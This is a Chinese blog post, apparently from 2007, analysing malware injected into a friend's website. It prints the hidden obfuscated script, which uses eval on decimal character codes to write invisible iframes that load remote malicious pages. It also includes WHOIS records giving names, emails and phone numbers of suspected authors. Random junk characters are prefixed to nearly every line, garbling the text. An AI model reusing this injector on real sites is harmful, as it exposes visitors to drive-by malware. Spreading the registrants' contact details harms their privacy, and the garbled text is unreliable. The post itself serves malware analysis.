首发在我的博客里面，
~$obcW1 @8d})X33 http://www.areway.cn/?p=175 _C#( )# ?S7:KnU>K ;rdLYmmx^
周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
]lG\t'R jJnBwH p <script>t=’60,105,102,114,97,109,101,
bL[W.O0 32,115,114,99,61,104,116,116,112,58,47,47,
W8 rn8 Rh 102,114,101,101,46,117,45,117,117,117,46,99,
*==nOO9G 110,47,101,114,114,111,114,46,104,116,109,
'0]_8Sy& 32,119,105,100,116,104,61,49,48,48,32,104,
!|QeYGnq6 101,105,103,104,116,61,48,62,60,47,105,102,
@Oay$g P{T 114,97,109,101,62′;
C&"2`ll t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
7Zn Q] ?
tzN;;h4C <script>t=’60,105,102,114,97,109,101,32,115,
/Bu5k BC 114,99,61,104,116,116,112,58,47,47,102,114,
d> Am M!J 101,101,46,117,45,117,117,117,46,99,110,47,
iR =aYT~ 101,114,114,111,114,46,104,116,109,32,119,
a6#PZ! 1 105,100,116,104,61,49,48,48,32,104,101,105,
^aoLry&i= 103,104,116,61,48,62,60,47,105,102,114,97,
6Ky"4\e 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
?wY.B document.write(t);</script>
gJv^v`X Q1B! W <html xmlns=”
|0 %UM} http://www.w3.org/1999/xhtml Jxp'.oo[ “>
~q>ilnL"h <head>
73`UTXvWU <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
n-.k&B{a <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
d)sl)qt}0 <title>首页 - 爱生活家庭网
aE$p;I a5&j=3)| 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
fs12<~+z 转换字符串后的大概内容是（谁点击后果自付）：
A1;t60z+q> <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
<K'gvMG[ Vs{sB*: 查询玉米u-uuu.cn的详细信息：
FX 3[ U+ Domain Name: u-uuu.cn
gf>5xf{M ROID: 20070901s10001s64972306-cn
m %3Kq%?O Domain Status: ok
"j>0A
Hem Registrant Organization: 王雷
\H(,'w7H Registrant Name: 王雷
2>s;xZ@/'R Administrative Email:
czlovexs@126.com ugP R)tDfM Sponsoring Registrar: 北京万网志成科技有限公司
?A>-_B Name Server:ns.yovole.com
uI wyan- Name Server:ns1.yovole.com
lEs/_f3;A Registration Date: 2007-09-01 17:54
3!x)LUWfWY Expiration Date: 2008-09-01 17:54
)9->]U@ 最后PING了一下地址 都没有什么….
8hT>)WH}wo ?H?r!MZ% 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
Z;:-8 HPDY <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
tDkqwF), <script language=”javascript” src=”
`#bcoK5 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script JN!YRcj >
Bnv%W4 这个玉米应该有可能是木马作者的：
R 4;6Oi) foafau.info的详细信息：
G7 ?EaLsfQ Access to INFO WHOIS information is provided to assist persons in
N h%8; determining the contents of a domain name registration record in the
v~3q4P Afilias registry database. The data in this record is provided by
us+adS.l& Afilias Limited for informational purposes only, and Afilias does not
X}Fv* guarantee its accuracy. This service is intended only for query-based
V
ZGhF!To access. You agree that you will use this data only for lawful purposes
1[ Pbs b and that, under no circumstances will you use this data to: (a) allow,
Q1yTDJ(2 enable, or otherwise support the transmission by e-mail, telephone, or
C5z4%,`f facsimile of mass unsolicited, commercial advertising or solicitations
@pz2}Hd | to entities other than the data recipient’s own existing customers; or
&I= q% (b) enable high volume, automated, electronic processes that send
)M~5F,) queries or data to the systems of Registry Operator, a Registrar, or
?`$4ZDM Afilias except as reasonably necessary to register domain names or
|Gi/=[Tp modify existing registrations. All rights reserved. Afilias reserves
7;{F"/A the right to modify these terms at any time. By submitting this query,
gy.;
"W you agree to abide by this policy.
7Jk.U=vY Domain ID:D22418703-LRMS
}Of^Y@{q. Domain Name:FOAFAU.INFO
=
'[@UVH(Z Created On:20-Nov-2007 16:05:42 UTC
5KzU&!Zh9 Last Updated On:20-Nov-2007 16:05:44 UTC
'%N
p9 Iqt Expiration Date:20-Nov-2008 16:05:42 UTC
N 1rrKyL!$ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
COafVlJ,l Status:CLIENT DELETE PROHIBITED
\D=B-dREq Status:CLIENT RENEW PROHIBITED
J/Li{xp)Lg Status:CLIENT TRANSFER PROHIBITED
+W`~bX + Status:CLIENT UPDATE PROHIBITED
pppbn]%Ob Status:TRANSFER PROHIBITED
)uP= o Registrant ID:GODA-040110615
b3H;Ea?^^< Registrant Name:liu hong
"c x" d: Registrant Organization:
m" G r pE3 Registrant Street1:beijing
:&MiO3#+ Registrant Street2:
04:Dbt~=?p Registrant Street3:
4Ki'r&L\ Registrant City:beijing
rxA<\h,A Registrant State/Province:
P^ UcpU, Registrant Postal Code:100000
7w|s8B Registrant Country:CN
.755-S Registrant Phone:+86.860108888777
k?,g:[4 ! Registrant Phone Ext.:
p-Ju&4fS Registrant FAX:
2bmppDk Registrant FAX Ext.:
Rk<:m+V = Registrant Email:bbbshiji@163.com
( _2eiE71 Admin ID:GODA-240110615
l:+1j{ d7 Admin Name:liu hong
#@ G2n@Hj Admin Organization:
}V{,
kK Admin Street1:beijing
iVRz Admin Street2:
'J}lnt[V Admin Street3:
bc -"If Z& Admin City:beijing
_" n4SXhq Admin State/Province:
|Cm}%sgR\0 Admin Postal Code:100000
(@zn[ Nq Admin Country:CN
TocqoYX{{ Admin Phone:+86.860108888777
k6XO-a f Admin Phone Ext.:
6tM{cK%v1 Admin FAX:
-kO=pY P*O Admin FAX Ext.:
ocvBKsfhE` Admin Email:bbbshiji@163.com
D c^d$gh Billing ID:GODA-340110615
+x` tvo Billing Name:liu hong
lU? " \m Billing Organization:
XB?!V|bno Billing Street1:beijing
+_<# 8v Billing Street2:
-{?Rq'H Billing Street3:
_v\QuI6 Billing City:beijing
"F^EfpcJ{9 Billing State/Province:
S $Wd}2> Billing Postal Code:100000
.s+e
hZ Billing Country:CN
K vgZx(. Billing Phone:+86.860108888777
u[% #/ Billing Phone Ext.:
j2z$kw% Billing FAX:
wBf
bpoE7 Billing FAX Ext.:
Tb[GZ,/%; Billing Email:bbbshiji@163.com
U[ed#9l> Tech ID:GODA-140110615
l!1bmg #]$ Tech Name:liu hong
UC QL~ Tech Organization:
W $y?~2 Tech Street1:beijing
" H({kmR Tech Street2:
x-"7{@lz
Tech Street3:
N4Ym[l Tech City:beijing
nv={.H Tech State/Province:
JO$0Z Tech Postal Code:100000
X@s s d Tech Country:CN
Y\rKw!u_! Tech Phone:+86.860108888777
_T1e##Sq, Tech Phone Ext.:
y
Le5, Tech FAX:
:s f ;Fq Tech FAX Ext.:
ixp %aRRP Tech Email:bbbshiji@163.com
]2<g"zo0 Name Server:NS27.DOMAINCONTROL.COM
~=71){4A Name Server:NS28.DOMAINCONTROL.COM
fR bV c Name Server:
TZ/u"' ZS Name Server:
F>&8b^v bn Name Server:
Ruf*aF ( Name Server:
_*+M'3&= Name Server:
yO !*pC Name Server:
h0GXN\xI Name Server:
hAY_dM Name Server:
[=iq4F'7 Name Server:
f"[C3o2P Name Server:
(Fu9lW}n Name Server:
|i| O9^*% $wBUu 接着下载每个文件里面的代码：
;gF"o 5/Q 一步一步看..
, v R4x:W 
}\9qN! ol 
GK)hK-
*2 [r?! 
-v]7}[
.[ 
Q>|<R[.7 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
